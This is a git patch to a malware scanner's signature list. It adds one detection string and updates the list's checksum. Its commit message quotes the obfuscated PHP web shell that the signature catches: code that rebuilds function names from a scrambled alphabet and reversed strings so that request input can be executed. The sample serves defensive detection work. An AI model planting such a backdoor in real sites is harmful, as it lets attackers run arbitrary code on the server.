From 4c89a12f28aa16386af3b9b91c1b91a576713333 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Beno=C3=AEt=20S=C3=89RIE?= <bserie@evolix.fr>
Date: Thu, 4 Jan 2018 17:59:22 +0100
Subject: [PATCH] Add a new pattern

if(isset($_REQUEST['sort'])){   ^M
        $string = $_REQUEST['sort'];^M
        $array_name = '';^M
        $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";^M
        $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7);^M
        foreach($ar as $t){^M
           $array_name .= $alphabet[$t];^M
        }^M
        $a = strrev("noi"."tcnuf"."_eta"."erc");^M
        $f = $a("", $array_name($string));^M
        // MALWARE $f();^M
        exit();^M
}
---
 evomalware.patterns     | 3 ++-
 evomalware.patterns.md5 | 2 +-
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/evomalware.patterns b/evomalware.patterns
index 293b4a7..dd418fd 100644
--- a/evomalware.patterns
+++ b/evomalware.patterns
@@ -78,4 +78,5 @@ Mailer.by.Sphinx|
 rsqMbK3dZkPHj9ykFvJn7DoDNyxT7o1Grc6e1J|
 wartung24|
 oc7e0e2|
-la5b1bf
+la5b1bf|
+6eb39fxl
diff --git a/evomalware.patterns.md5 b/evomalware.patterns.md5
index c864464..129cb80 100644
--- a/evomalware.patterns.md5
+++ b/evomalware.patterns.md5
@@ -1 +1 @@
-e5e224c91ac6711ec88eb3f0fb87ccea  evomalware.patterns
+e66868ad06d447e43b529b763a4cba62  evomalware.patterns